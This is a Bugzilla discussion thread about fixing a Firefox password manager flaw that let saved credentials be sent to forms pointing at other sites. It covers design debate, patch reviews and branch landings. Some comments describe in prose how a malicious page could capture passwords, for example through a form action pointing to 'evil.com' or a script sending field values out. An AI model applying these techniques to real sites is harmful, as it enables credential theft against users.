> > I added a check in FillPassword, but its requires a pretty weird edgecase to
> > get there.
> 
> Your edgecase "pointing to evil.com" is irrelevant because FillPassword doesn't
> check which website the form is pointing to.

FillPassword only gets called from the event listeners, so you need to have a match that causes the listener to be attached befor FillPassword could get called.  Otherwise your "steal Mike's password" testcase would actually still work with the previous version of the patch.

http://people.mozilla.com/~mconnor/testcases/password_manager/ has a couple of testcases, will be working on adding more over the rest of the weekend.
Just so that everyone is aware -- it is now the 3rd of February, in 9 days it will be three months since this bug was reported and it is still alive and well.

As I, and many others have said in the past, full path checking is the only way to kill this bug. Many of the "discussions" about this "patch" would be irrelevant if full path checking was used.

As to the use of the word "patch" - changing code, compiling, and then releasing a new copy of a program is not a "patch." It is a software revision/change/fix.. not a "patch"

The word "patch" has been around since the first stored program computer.

A "patch" is an actual change to the machine code, not the source code.

A "patch" is something which can be applied as a fix for a problem before the source is actually changed and new version of the compiled code is available.

Knowledgeable programmers working on project with diverse users (such as IBM software programmers who invented most of the software technology currently in use - large scale operating systems, multitasking, virtual memory, etc) would reserve space in a program for patching. This would simply be an area which would exist in the compiled/linked module which contained neither code or data nor was it used for dynamic data storage.

If a problem was discovered and it was fixable, or could be circumvented, in just a few instructions, a "patch" would be released which inserted a branch instruction at the problem point which pointed to the reserved patch area. The instructions to fix or circumvent the problem would be inserted in the patch area, ending with a branch back to the code, usually to the instruction after the branch which was inserted to transfer control to the patch area instructions.

The patch would be a way to kill the bug immediately while the code changes were being evaluated and tested, to be distributed with the next full program distribution or emergency release.

The changes to the source needed to fix the bug would be incorporated into the next version code. You all know how difficult it would be to fix each and every bug immediately and to release new versions each time a single bug was fixed.

Due to that difficulty, "patching" was used to kill the worse bugs until the new version could be release, which would incorporate fixes to all known bugs and probably also include program enhancements.

Such a patch was, and still is, only applicable to assembler programs where each and every byte of the program is under the direct control of the programmer.

Programs written in higher level programs -  no matter how close to assembler they might be - are extremely difficult to "patch" due to the lack of control over the actual machine instructions generated and the difficulty in determining the patch points themselves.

The use of the word "patch" here to describe a source change is incorrect and misleading.

The change being worked upon here is not a patch.

It is not a change to the already installed version of Firefox, installed on user's systems in the executable file.

It is a change to the source code. The program will then be compiled and then distributed.

If you think this is merely semantics, I remind you that data processing is an area in which you must be letter perfect to get the desired results.

There are a number of words like "patch" which have been applied to computers for many decades which accepted and universally understood meanings.

That some of the PC programmers want to call a source change a patch does not change the fact that the word patch has had a clearly understood meaning for many years - very likely for more years than many of those programmers have been alive.

I'll not go into any of other misused words as I don't want to take up more space here, but one such word is "boot."

Can anyone here tell me the true meaning of "bootstrapping a computer" - email me at Novell@att.net

Again, as I said above and in other postings - kill this bug once and for all and do it with full path checking.

I do not understand why the concern for "breaking" some login pages at some sites leads you to disregard the only truly acceptable solution for a security bug such as this.

In security circles, it would be an unforgivable sin to let concerns about convenience override concerns for security.

Is this a convenience bug or is it a security bug?

I don't know how else to put it - the proposed fixes for this bug are not acceptable from a security standpoint and are all half measures.

Also, to argue that users are dump or stupid or ignore messages is simply ridiculous.

Making such statements about users as a means of avoiding making some sort of change to a program reveals a flaw in the programmer's approach to programming.

Users are THE reason software is written. Without users, there would be no programmers.

This is something that programmers need to learn very quickly but, sadly, it is something which is never really appreciated by many programmers.

Is this a convenience bug or is it a security bug?

And what is this reluctance, bordering on total refusal, to make changes to the user interface?

Upon what is it based? Fear of working with the user interface? Belief that working on the user interface is more difficult than other work?

Is it hesitance to have to perhaps communicate with users? Heaven forbid that a programmer would ever have to actually have contact with a user, let alone have to try and think like a user to develop a good interface.

Just why is everyone so afraid of making interface changes?

Bob Novell
> Also, to argue that users are dump or stupid or ignore messages is simply
> ridiculous.
>
> Making such statements about users as a means of avoiding making some sort of
> change to a program reveals a flaw in the programmer's approach to programming.

I don't see anyone other than you having referred to users as stupid in this bug. Every security UI study I've ever seen shows that the vast majority of users do not understand domains well enough to make good security decisions based on them. This says nothing about their intelligence, only about specific technical knowledge that they do not have.

Introducing more UI of a type that has been repeatedly shown not to work as a method of "fixing" this would clearly not be a good solution.
Stuart, are you literally saying FF users are incapable of understanding that their password is going to be sent to the wrong website?
Also, there was the staff comment, "The vast majority of users don't
understand this stuff, and we can't rely on them to protect themselves."

If I were the vast majority of users, I would be offended by the implication that Mozilla can rely on me to be too unintelligent to know the PM is broken, and heaven forbid I should be empowered to protect myself.  How did this attitude become acceptable here?
Stop the moralizing and pretending to be offended.

Go read http://www.cs.auckland.ac.nz/~pgut001/pubs/defcon.pdf and then let's talk.

/be
Bob, I'm pretty sure that giving us a history lesson, and asking another time to do full-path checking is not going to have much affect on the patch issue.

Rob, what do you think is the real answer to the problem you are saying still exists? If it's not going to be a warning, what would it be? If a warning isn't going to work, are you thinking of something such as comment #143?
The PDF Brendan tried to link to has moved to http://www.cs.auckland.ac.nz/~pgut001/pubs/phishing.pdf.
(In reply to comment #314)
> Stuart, are you literally saying FF users are incapable of understanding that
> their password is going to be sent to the wrong website?

I think he is literally saying that many users do not understand the concept of domains and same-origin well enough to judge whether it is, in fact, the wrong website.

Anyway, read Brendan/Jesse's link, it should be relatively englightening.  That is the reality we're dealing with, whether you consider it insulting to users or not.
Alternatives To Warning-Type Form Feedback

There is some confusion here about form feedback commentary.  Understandably, not everyone remembers everything said in the past 320 messages.  Here are the highlights, to the best of my memory:

Warning Replacements
- Show action attribute in status bar on hover (Comment #11)
- Toolbar button that only activates on valid form action (Comment #39)
- Optional warnings (Comment #95)
- Only warn on Same Origin violation (Comment #149)

Mitigating Features
- Ask user if new password should be page-specific (Comment #51)
- Only allow POST method for password fields (Comment #81)
- Ask user if new password should be auto-filled (Comment #139)
- How to integrate page-specific prompt into existing UI (Comment #177)
- Check action attribute at send time (Comment #279)

Discussion

As far back as Comment #216, I concluded that the current patch concept dangerously ignores real-world circumstances in which domain checking does not secure the Password Manager.  The lack of UI improvement leaves all FF users powerless to override that behavior.

Further, Mozilla ignores the fact that some users wish to narrow the scope of trust assigned to any set of credentials.  Because the Password Manager is designed to transmit those credentials to ANY website, the only remedy would be disabling the Password Manager.

In reply, Mike said in Comment #224 that Firefox should not protect against "dangerous ground" websites.

This topic went largely untouched until Daniel's Comment #301, "The simplest alternative is to just save the new action form. Assuming we
change nothing else the only way you'd get in this state is if the user
re-entered their data into a blank form (we didn't prefill because of the
action mismatch)."

Last, but not least, there were two alternatives to warning-type form feedback that I felt had been shot down, but I'll mention them anyway.  Comment #239 suggested removing the Password Manager feature.  While this may have certain benefits, it would have the opposite effect of the one desired.  This is similar to the behavior of RoboForm, which performs almost zero validation of what the user is doing with stored credentials.

Comment #269 suggested relying on URL blacklists to determine if a page might contain malicious form content.  Replies to this idea said blacklists can be too slow and too incomplete to be effective.  Others said blacklists only serve to cover up real security problems and create other privacy problems.

If I were in a decision-making position, this is what I would do:  I would implement status bar feedback, warnings on Same Origin violation, password scope and autofill prompts, additional action checking at send time, warning on password GET method, and changes proposed in Bug #368959.  Those are ALL no-brainer features that FF should have.


Brendan, Jesse, and Mike:  I will GLADLY read any research showing that Firefox users lack the ability to decide their unsaved password for www.myspace.com should not be transmitted to membres.lycos.fr  If this paper says anything less than that, then I will dismiss it out of hand because even a person who can't read English can do better Origin checking for unsaved credentials than the proposed patch.
(In reply to comment #320)

> Brendan, Jesse, and Mike:  I will GLADLY read any research showing that Firefox
> users lack the ability to decide their unsaved password for www.myspace.com
> should not be transmitted to membres.lycos.fr  If this paper says anything less
> than that, then I will dismiss it out of hand because even a person who can't
> read English can do better Origin checking for unsaved credentials than the
> proposed patch.

Why shouldn't we dismiss your comments out of hand for lack of research showing quantifiable knowledge of what "a person who can't read English can do better"? Your handwave here (that any person, with or without English as first language, can pay attention to origins in dialogs or any other UI) is utterly unsupported by any research, and it is not true on its face, or at all.

In spite of your fallacious stance, which should cause everyone to killfile your comments in bugzilla, I'll copy just one slide from Gutmann's pdf and recommend it to you for the last time:

 Why can’t users get security right? (ctd) 
  None of this was ever really tested on users 
  If users don’t understand it, it doesn’t exist 
   —Security HCI prime directive 
  When it was finally tested (ten years after it was
   introduced), the results were disturbing 
   * 65% ignored the padlock 
   * 59% paid no attention to the ‘https://’ indicator 
   * 77% didn’t notice the address bar colouring 
    –Of those who noticed it only two understood its significance 
   * When presented with a certificate warning dialog, 68% 
     immediately clicked ‘OK’ without reading the dialog 
    –Just one user was able to explain what they’d just done

Lest you misread the slide's title, Gutmann is *not* faulting users for being dumb, or any such thing. He points out how error UI across many apps and OSes generates 99% false positives, which has conditioned users to click OK without reading in order to retry or continue. This is a hard fact, measured on large enough populations of users, that there's no reason to hope "Firefox users are ''smarter''" or "This time will be different!"

/be
(In reply to comment #321)
> In spite of your fallacious stance, which should cause everyone to killfile
> your comments in bugzilla

As I have said to other people who made this same threat, if you have the authority to do this then you may do it now.
(In reply to comment #322)
> (In reply to comment #321)
> > In spite of your fallacious stance, which should cause everyone to killfile
> > your comments in bugzilla
> 
> As I have said to other people who made this same threat, if you have the
> authority to do this then you may do it now.

(Humorless, as ever!) It wasn't a threat, it was an application of your own bogus standard -- you ignore Gutmann because he hasn't studied Firefox non-Anglophone users' attention to origins or domain names in dialogs or status bar spam (or something like that) -- but you can assert whatever nonsense you like here without any research and we are supposed to listen?

Clue: bugzilla has no killfile feature. That was a reference to NNTP readers and the Usenet of old.

We can and do revoke buzilla privileges for endless advocacy rants like Bob's. Your comments are briefer, and sometimes helpful to actually getting the bug fixed right. So chill, and try to do better.

/be
> Brendan, Jesse, and Mike:  I will GLADLY read any research showing that Firefox
> users lack the ability to decide their unsaved password for www.myspace.com
> should not be transmitted to membres.lycos.fr

That's a straw-man argument. The issue isn't membres.lycos.fr, it's www.myspace-login.com, myspace.validate.com, etc. If you read the PDF that is linked to above you will find that there is indeed research specifically about those sorts of domains and the fact that since a vanishingly small number of users know the details of the domain name resolution process they have no way of making correct decisions about the validity of those domains vs. login.myspace.com.
(In reply to comment #321)
> (In reply to comment #320)
>    * 59% paid no attention to the ‘https://’ indicator 
>    * 77% didn’t notice the address bar colouring 
>     –Of those who noticed it only two understood its significance 
personally, i'm curious as to how many people were surveyed in this study (i.e. "only 2" = how many percent?), but i think that this is key nonetheless. is people can't be even bothered to notice a color (!) change, can you really expect them to read things in the status bar?

otoh, i think that the small minority of users that would notice such things (i myself am one of them, for example) should be given the opportunity to actually notice them, if the coding required to implement such a feature is not overly hard to come up with.
(In reply to comment #323)
> you ignore Gutmann because he hasn't studied Firefox non-Anglophone users'
> attention to origins or domain names in dialogs or status bar spam

.. when saving new passwords.  Sounds like there's a great paper in that.  In the meantime, I would not justify FF ignoring the action mismatch for any reason.
(In reply to comment #326)
> (In reply to comment #323)
> > you ignore Gutmann because he hasn't studied Firefox non-Anglophone users'
> > attention to origins or domain names in dialogs or status bar spam
> 
> .. when saving new passwords.  Sounds like there's a great paper in that.

Right, because this time it'll be different...

> In
> the meantime, I would not justify FF ignoring the action mismatch for any
> reason.

Straw man or non-sequitur, I can't decide. Your farrago of action items in comment 320 included status bar noise and warnings or other wastes of code that Gutmann and others have convincingly demonstrated will be ignored.

So what's left, or are you just arguing elliptically to try to come off looking good? Don't repeat coy dodges like comment 310. Precisely what single interaction design will avoid the "click OK to continue" pitfall? (Don't try the "if it saves just one life" type of bogus argument for status bar warnings or other such minor  annoyances.)

The latest patch does not ignore action mismatch, as far as I can tell. So do you want further checking to ensure that a script doesn't change the action property later? If so, why? As the myspace.coms of the world at least do blacklist scripts, what is the real-world threat?

/be
Brendan, that presentation is quite interesting.  I don't generally think of myself as particularly computer-incompetent, but I do a lot of the bad things they mention.  For years I wondered why there was an oil can in the Netscape status bar (Seriously.  If you don't spend a lot of time on SSL sites, what would you think the open-lock icon was and what it meant?).

(In reply to comment #312)
> Users are THE reason software is written. Without users, there would be no
> programmers.

I'd posit that programmers actually came first - the first stored-program computer program had to be written before it could be used. 

It's amazing that with your 33 years of experience YOU can't provide a patch.  Presumably you're much more skilled than many of us (who weren't even born in a time when you were already a masterful programmer).  And yes, I called it a patch.  English is an evolving language.  For example, back when you were complaining that the new backwards-compatible instruction set philosophy of the IBM System 360 would make computers too slow and complicated, someone might have referred to a decorative mirror as "groovy" -- despite the fact that it was, in fact, quite smooth.  Perhaps a better example: consider the "boob tube" (American definition) -- boob tubes nowadays aren't usually tube-based, yet the term persists.

Just the same way, a patch used to be a binary patch when people worked at the assembly/machine code level, but has evolved to remain a useful term in an era where the very vast majority of applications are written in higher-level languages.  You see, the purpose of language is communication, and so long as the people within the group attempting to communicate use a consistent meaning for each word, the communication can be effective.  Among people who contribute enhancements and fixes to the Mozilla project, the meaning of "patch" is well understood; that some self-important non-contributor doesn't like the terminology used is irrelevant.
(In reply to comment #327)
> The latest patch does not ignore action mismatch, as far as I can tell.

I believe the mismatch is ignored for all passwords unless the action field has already been saved to disk.
(In reply to comment #327)
> The latest patch does not ignore action mismatch, as far as I can tell. So do
> you want further checking to ensure that a script doesn't change the action
> property later? If so, why? As the myspace.coms of the world at least do
> blacklist scripts, what is the real-world threat?
uh...why not? is the overhead really anything worth arguing over?
(In reply to comment #327)
> So do you want further checking to ensure that a script doesn't change the
> action property later? If so, why?

Yes.

Because, someone previously pointed out websites may set action="" and then change the value dynamically.  This would mean nsIForm->GetActionURL() returns the wrong URL, causing the wrong URL to be saved, checked, and ultimately validated.  If the user then disables javascript, all sorts of unforseen consequences could arise.
For sites that change the action URL (e.g. onsubmit), we probably want to save the URL that the form is likely to have when the form appears next time.  Otherwise we'd never fill in the password, even with JavaScript enabled the whole time.  I guess avoiding that problem means adding extra state ("initial action host"?) associated with forms.
Isn't there a race condition to worry about?  If the page changes the action attribute onload?  I can agree with Gwenmael that the final value of the action URL is the important one.  Beyond that, I think honoring more than one value would get very complicated.  If FF PM is to allow dynamic actions correctly, securely, then one possibility is to ignore XSS, ignore the initial action, and validate the action onsubmit.  However, that would mean more button warnings and less PM refusing to autofill.  It's all about tradeoffs there.
> (In reply to comment #312)
> > Users are THE reason software is written. Without users, there would be no
> > programmers.
> 
> I'd posit that programmers actually came first - the first stored-program
> computer program had to be written before it could be used. 

I'll bit the off-topic philosophical challenge:

Logically, why would the program be written if there was no one requiring it to begin with?

The first users were the programmers writing their own applications. But before they became programmers they were users, their knowledge of the platform and the programming languages the microcomputer understood lead them into software development. Even the OS developer begins as a man trying to use a piece of hardware.
Jesse:  Also, isn't the patch is already designed to save the action URL onsubmit?  Doesn't that already cause a problem? 
(In reply to comment #312)
> The word "patch" has been around since the first stored program computer.

Since the 1400s actually. Before computers it was used for radios and other electronics. Before that mostly clothes and the occasional pot.

In the mainframe era you describe kids could sing about having a "gay old time" with the Flintstones.

> The use of the word "patch" here to describe a source change is incorrect and
> misleading.

"Patch" has been used in this sense for at least 20 years. It must have already been a common use when Larry Wall first released the utility he named "patch" in 1985 (we still use a descendant of that utility).

> The change being worked upon here is not a patch.

The change itself is a bug fix that will be distributed as a software update, the snippet stuffed in this bug is a patch--a source patch. I don't have to wait for mconnor to give me new copies of the changed files, I can take the "patch" and alter my own copy of the source in-place, analogous to applying a binary patch to an executable.

> That some of the PC programmers...

This use of patch comes from the world of PDP and VAX machines with programmers communicating and collaborating over excruciatingly slow connections. It's not a "PC programmer" term.
This is not a forum or newsgroup, so let's keep the history lessons to a minimum. Bugzilla bugs should be tools for fixing code, and the longer and noisier they get, the less effective they are as tools for fixing code.

I agree with Robert Chapin that the final, submitted-to value of the action URL is the key to index the saved password. Mconnor?

/be
Brendan, can you explain why you think the final action URL is the one that should be stored?  I'm storing the final action URL means password manager will never fill in the saved password (on sites where the action URL changes e.g. onsubmit).
Comment on attachment 253840 [details] [diff] [review]
with dveditz's comments, and some belt and suspenders in FillPassword

>       if (selection == 0) {
>         SignonDataEntry* entry = new SignonDataEntry();
>         entry->userField.Assign(userFieldName);
>         entry->passField.Assign(passFieldName);
>+
>+        // save the hostname of the action URL
>+        if (NS_FAILED(GetActionRealm(formElement, formActionOrigin))) {
>+          delete entry;
>+          return NS_OK;
>+        }

This will now fail if the action URL is hostless such as file://, data: or javascript:. Worse, it fails *after* we've already prompted to save it and the user has said "YES".

We need to either save just the scheme in those cases (or nothing?), or get the value earlier and not call ConfirmEx() in case of failure. Looks like the replay paths will fail for the same reason anyway; bailing before prompting is probably the better choice.

sr=dveditz if you fix the above.
Attachment #253840 - Flags: superreview?(dveditz) → superreview+
(In reply to comment #338)
> Brendan, can you explain why you think the final action URL is the one that
> should be stored?  I'm storing the final action URL means password manager will
> never fill in the saved password (on sites where the action URL changes e.g.
> onsubmit).

I think he was following up to Comment #333, which suggested ignoring the initial value of the action attribute.  But if the initial check is important for UI reasons, then yes, another DataEntry member will have to be added along with more checks.  Let's also get the current patch checking the initial action instead of/in addition to the onsubmit value, so that FillDocument and FillPassword aren't checking the wrong URL.
Notify gets called from the NS_EARLYFORMSUBMIT_SUBJECT notification, which comes before onsubmit.  This is because a number of sites hash the password field onsubmit, which meant the password manager didn't work on those sites.  Thus, we preserve the data from just before any onsubmit handlers run.  So this shouldn't be an issue.

I see where brendan is going, but if I can run script onsubmit, rather than maliciously redirecting the action, I'll just scoop the values from the fields and use an XMLHttpRequest/hidden iframe to steal the password, so there's no benefit to muddying the waters even more.  Adding code complexity to block one case, when another case is almost as easy, is essentially pointless and generally harmful.
(In reply to comment #338)
> Brendan, can you explain why you think the final action URL is the one that
> should be stored?  I'm storing the final action URL means password manager will
> never fill in the saved password (on sites where the action URL changes e.g.
> onsubmit).

You must be thinking that for some reason, like data showing major sites using scripts to alter default or nominal action attribute value from onsubmit. Else why the parenthetical? Of course only those sites would result in the pwmgr "never" filling in the saved password -- but if those sites are rare, or indeed hard to distinguish from sketchy sites, then the pwmgr should *not* (not never, just for such sites) fill in the saved password.

(In reply to comment #341)
> I see where brendan is going, but if I can run script onsubmit, rather than
> maliciously redirecting the action, I'll just scoop the values from the fields
> and use an XMLHttpRequest/hidden iframe to steal the password, so there's no
> benefit to muddying the waters even more.

Ok, a malicious page could do that, or lots of other things as you have pointed out many times. Nevertheless, and absent data from Jesse showing how doing so would break lots of useful sites (or even just a few heavily used ones), I would still rather that we index the saved password by the final action URL, on first principles. Is it hard to do in the current architecture?

> Adding code complexity to block one
> case, when another case is almost as easy, is essentially pointless and
> generally harmful.

I agree in general. Here, you've got a scenario where a phisher is scripting a form to steal passwords. Seems like a job for the anti-phishing code.

/be
This seems checked in on MOZILLA_1_8_BRANCH. How about MOZILLA_1_8_0_BRANCH?
Bug 362779 had blocking1.8.0.10+ flag.
(In reply to comment #341)
> Notify gets called from the NS_EARLYFORMSUBMIT_SUBJECT notification, which
> comes before onsubmit.  This is because a number of sites hash the password
> field onsubmit, which meant the password manager didn't work on those sites. 
> Thus, we preserve the data from just before any onsubmit handlers run.  So this
> shouldn't be an issue.

So your patch breaks the PM for any website that changes the action attribute before NS_EARLYFORMSUBMIT_SUBJECT ?
Adding fixed1.8.1.2 keyword since this landed on the 1.8 branch.  Marking blocking1.8.0.10+, mconnor says the 1.8.0 patch is on it's way.
Flags: blocking1.8.0.10+
Keywords: fixed1.8.1.2
(In reply to comment #344)
> So your patch breaks the PM for any website that changes the action attribute
> before NS_EARLYFORMSUBMIT_SUBJECT ?

If the site changes the action URL at some arbitrary point before onsubmit, that's a possibility, yes.  Not sure there's any way of preventing that theoretical case, I don't know of any sites that do that though.

Comment on attachment 253840 [details] [diff] [review]
with dveditz's comments, and some belt and suspenders in FillPassword

Approved for 1.8 branch, a=jay (already landed, but just wanted to make it official)
Attachment #253840 - Flags: approval1.8.1.2+
(In reply to comment #346)
> If the site changes the action URL at some arbitrary point before onsubmit,
> that's a possibility, yes.  Not sure there's any way of preventing that
> theoretical case, I don't know of any sites that do that though.

Okay.  And Comment #285 is being ignored?
At this point, yes, I missed it with all of the noise in the bug.  This is generally not considered perf-critical code (or we wouldn't be writing the replacement in JS).
(In reply to comment #349)
> At this point, yes, I missed it with all of the noise in the bug.  This is
> generally not considered perf-critical code (or we wouldn't be writing the
> replacement in JS).

Okay.  And the dependency tree is being ignored?
That bug isn't a 1.8.1.2 blocker, and seems to deal more in theoretical possibilities of potential attack vectors.  There's no indication yet that there is a real exploit of any value possible, and no proof of concept/steps to reproduce for a real exploit or pseudo-exploit that isn't possible with the proposed patch.
passes all of the testcases
Attachment #254141 - Flags: superreview?(dveditz)
Attachment #254141 - Flags: review?(mano)
Attachment #254141 - Flags: approval1.8.0.10?
Comment on attachment 254141 [details] [diff] [review]
backport last patch to 1.5 branch

sr=dveditz
a=dveditz for 1.8.0 branch when you get r=
Attachment #254141 - Flags: superreview?(dveditz)
Attachment #254141 - Flags: superreview+
Attachment #254141 - Flags: approval1.8.0.10?
Attachment #254141 - Flags: approval1.8.0.10+
(In reply to comment #312)
> 
> As to the use of the word "patch" - changing code, compiling, and then
> releasing a new copy of a program is not a "patch." It is a software
> revision/change/fix.. not a "patch"
> 
> The word "patch" has been around since the first stored program computer.
> 
> A "patch" is an actual change to the machine code, not the source code.

I well remember that, when I worked on an IBM 360 model 40 running OS/360 Release 4/5 ~40 years ago, fixes to the operating system were applied precisely as described. However, they were referred to as PTFs, for Program Temporary Fixes. While 'patch' may have been widely used in this context, it was never to my knowledge a specific technical term.

More to the point, the more I see of this discussion, and the more I think about my own behaviour in the light of the Gutmann paper, the more I incline to the view that it would be better to warn the user with a "take care" message if the url is not identical to that for which the id and pwd are stored, and should not offer to proceed by entering them for him/her. After all, the offer to store for the new url, whether bogus or not, will come anyway.

Users must at least know what a url is, even if they don't understand the structure, or the significance of any difference. But they will at least know to think about it if it's drawn to their attention. Besides, Firefox should not actively help them to do anything they may later regret. Moreover, this is the simple solution that's easy for a user to understand, even if they are tempted to think that "it's obviously just another page on the same site, so why can't 
the browser ...?"

You can't prevent (even sensible) people from acting impulsively (and stupidly), but you ought not to help them.

Mike Sykes
Comment on attachment 254141 [details] [diff] [review]
backport last patch to 1.5 branch

>Index: toolkit/components/passwordmgr/base/nsPasswordManager.cpp
>===================================================================

>   // Now read in the signon file
>   nsXPIDLCString signonFile;
>-  mPrefBranch->GetCharPref("SignonFileName", getter_Copies(signonFile));
>-  NS_ASSERTION(!signonFile.IsEmpty(), "Fallback for signon filename not present");
>+  nsresult rv;
>+  rv = mPrefBranch->GetCharPref("SignonFileName2", getter_Copies(signonFile));

make that 
>+  nsresult rv = mPrefBranch->GetCharPref("SignonFileName2", getter_Copies(signonFile));

> 
>@@ -1686,16 +1779,20 @@ nsPasswordManager::WriteSignonEntryEnume
>     buffer.Assign("*");
>     buffer.Append(NS_ConvertUCS2toUTF8(e->passField));
>     buffer.Append(NS_LINEBREAK);
>     stream->Write(buffer.get(), buffer.Length(), &bytesWritten);
> 
>     buffer.Assign(NS_ConvertUCS2toUTF8(e->passValue));
>     buffer.Append(NS_LINEBREAK);
>     stream->Write(buffer.get(), buffer.Length(), &bytesWritten);
>+
>+     buffer.Assign(e->actionOrigin);
>+     buffer.Append(NS_LINEBREAK);
>+     stream->Write(buffer.get(), buffer.Length(), &bytesWritten);

fix indent please.

r=mano otherwise.
Attachment #254141 - Flags: review?(mano) → review+
fixed on 1.8.0 branch
Keywords: uiwantedfixed1.8.0.10
v.fixed on both branches with
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.2pre) Gecko/20070208 BonEcho/2.0.0.2pre
and
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.10pre) Gecko/20070206 Firefox/1.5.0.10pre

mconnor's testcases from comment #311 all pass: http://people.mozilla.com/~mconnor/testcases/password_manager/

I tested the profile migration case (test 1) for 1.5.0.x -> 2.0.0.2 and 2.0.0.1 -> 2.0.0.2, as well as the normal case (test 2).

If there are any remaining issues not covered by his testcases, please log new, separate bugs as this bug is a bit long.  Thanks! 

Also wanted to note here that if you use PM with the latest 1.5.0.10pre or 2.0.0.2pre builds, and then try to go back to using an older Trunk build... PM will be broken on the Trunk.  Things should be fine once this lands on the Trunk.
Blocks: 369969
Flags: in-testsuite?
Hi!  Since I am only "semi" computer literate, I have waded through all 357 comments on this "bug", and still don't know if it's "safe to come out of the water" on this problem or not!  When I first read about this bug (in a newspaper article!), I REMOVED all my Saved Passwords, and have been manually logging onto those previously "saved password" sites using a printed list of my passwords (also not the safest of ideas).  Can someone PLEASE tell me in simple, NONTECHNICAL terms what I should wait for before I can use Password Manager again?  Should I wait for an announcement that Bug #360493 has been fixed when 2.0.0.2 (or .3, whatever) comes out, or . . . ?  I guess that I must be one of the "stupid" users that several of you seem to keep ranting about, but I LOVE Firefox and just want ALL its functionality back--so PLEASE let me know what I should look for before I place my passwords back in Saved Passwords.  Thanks!
(In reply to comment #358)
> Hi!  Since I am only "semi" computer literate, I have waded through all 357
> comments on this "bug", and still don't know if it's "safe to come out of the
> water" on this problem or not!  When I first read about this bug (in a
> newspaper article!), I REMOVED all my Saved Passwords, and have been manually
> logging onto those previously "saved password" sites using a printed list of my
> passwords (also not the safest of ideas).  Can someone PLEASE tell me in
> simple, NONTECHNICAL terms what I should wait for before I can use Password
> Manager again?  Should I wait for an announcement that Bug #360493 has been
> fixed when 2.0.0.2 (or .3, whatever) comes out, or . . . ?  I guess that I must
> be one of the "stupid" users that several of you seem to keep ranting about,
> but I LOVE Firefox and just want ALL its functionality back--so PLEASE let me
> know what I should look for before I place my passwords back in Saved
> Passwords.  Thanks!
> 
The proposed patch was checked into the browser. It will probably be in the release notes about it being fixed.

Whether or not this patch is 100% fool-proof, will obviously be tested. I'd say it's safe, though I've always discouraged using the password manager.
And to answer your question more thoroughly, the fix will be in 2.0.0.2, and it will be as safe as the team made it, then. ".2 will be released sometime in late February, doubt it will run into March.
(In reply to comment #359)
> 
> Whether or not this patch is 100% fool-proof, will obviously be tested. I'd say
> it's safe, though I've always discouraged using the password manager.
> 

Jordan,

Thanks for your reply and clarification of when the patch should appear!  I WOULD like to know, however, WHY you have "always discouraged using the password manager".

I've always ONLY used Password Manager for "non-information-sensitive" sites--such as tech forums like this--certainly not for websites used for banking, credit cards, or eBay and such, where too much personal information could be accessed by the "bad guys".

In other words, is it your opinion that ANY use of a password manager could in some way compromise or endanger a person's Internet usage?

Thanks again!
Hi Marshall,

Well, when it comes to the PM, there are many ways to get the password, locally or remotely.

Locally, on Windows at least, anybody using the same account as you, can just look up your passwords. And seeing as everyone is under admin, it's pretty easy to do so.

Remotely, there have been many scripts mentioned in this bug's comments, such as using scripting.

However, if you aren't a security-freak like me:

1. You still probably don't use the same password for everything, thus why you USE PM in the first place, thus mitigating the risk pretty well.

2. You have enough common sense to not click every link given to you over an IM, or whatnot.

But the question is, as someone else put it, security vs. convenience. Firefox takes enough steps to protect your personal information for 99% of the time. But when someone asks me my opinion, I always tell them to memorize their passwords if they are worried.

Hope that answers your question.
hi, sorry if i disturb the most technical discussion. Most things here i really dont understand. I know it is not requestet to popup an extra windows for another security question. But maybe u have a look at that new extension (not official yet). For myself, its a very nice solution: comfortably, and as i can see it, a plus on the secure side. 
the second link takes u to the discussion thread on the german firefox board.

https://blueimp.net/mozilla/

http://www.firefox-browser.de/forum/viewtopic.php?t=46608


PS
If this is **** and nothing what helps, please ignore what i wrote :-)
Despite earlier comments, this does NOT appear to be on the trunk.  The trunk is still using version 2c signons.txt files.  Therefore going back and forth between current trunk nightly and 2.0.0.2 results in losing saved passwords.
Depends on: 371546
(In reply to comment #364)
> Despite earlier comments, this does NOT appear to be on the trunk.  The trunk
> is still using version 2c signons.txt files.  Therefore going back and forth
> between current trunk nightly and 2.0.0.2 results in losing saved passwords.
> 
It is actually worse than that.  upgrading from Firefox 2.0.0.1 to Firefox 2.0.0.2 results in losing all saved passwords for trunk builds.

It appears that the code to change the format of signons.txt was never checked into the trunk.
I swiched to FF because others had this problem of forgetting passwords, but now I have it also here at FF with the new update. (just got it) It is quite annoying because I have tons of PW's for frequently used sites and it slows down my work significantly.
My congratulations on the mediocre way in which this bug has NOT been fixed and how you have managed to introduce at least one new problem along the way - the reported problem of losing all saved passwords.

I have to admit that given the progress of the work on this  bug, this new problem doesn't surprise me - it outrages and saddens me, but it does not surprise me.

I thank you for living down to my expectations.

You have given me yet another reason to feel good about my decision to stop using Firefox and to recommend all my clients, friends, and family do likewise.

I recommend everyone read this entire thread and that an official postmortem be done on this fiasco.

Perhaps some out there will learn something which can be applied to all the still out standing bugs in Firefox.

Open Source started as a good idea but that idea has, with very few exceptions, died a ghastly death.

This bug demonstrates many of the weaknesses and severe problems which are inherent in projects undertaken by a mixed bag of programmers with varying levels of competence, all of whom have not real incentive to address the work in a professional manner.

If Firefox were a product of a company which wanted to stay in business, more attention would be paid to the product, all bugs would be addressed, and hopefully, the product would be maintained in a more coherent and professional way - if this was not done, the company might go out of business.

With open source, there is no such incentive or requirement to work when work is needed, no incentive or requirement to take the advice of those who might happen to know a bit more about the subject, and no incentive or requirement to even remain active on a project.

There are advantages and incentives to an employer-employee relationship and those advantages come into play when it comes to getting someone to work on a problem and to do high quality work. It comes down to "do the work or lose your job."

Those incentives simply don't exist in open source projects.

The quality of the work depends completely on the commitment, or lack there of, on the part of the people on the project - all of whom are under not obligation to even continue to work on the project.

There is no "stick" which can be used to "encourage" quality work - or, for that matter, any work at all.

Open source projects are at the mercy of the individual "volunteers - if they don't want to work on a bug, they don't.

If they don't want to listen to sound advice as to how to resolve a bug - such as was given here by many people - they simply ignore that advice.

I'm saving this thread as a poster child of the very real, and very dangerous, problems with open source projects.

Let me sum up - this bug was reported on 2006-11-12. It is now 2007-02-25 and the fix for the bug has resulted in people losing all their stored passwords and the security hole was not plugged in the best possible way by matching the full path of the URL to the page in question.

There seem to be a few who don't understand that the search and anchor portions of a URL are NOT part of the path. 

All of us who have recommended using the full path are referring to the domain plus the path to the file - any search and/or anchor on the URL would not be used.

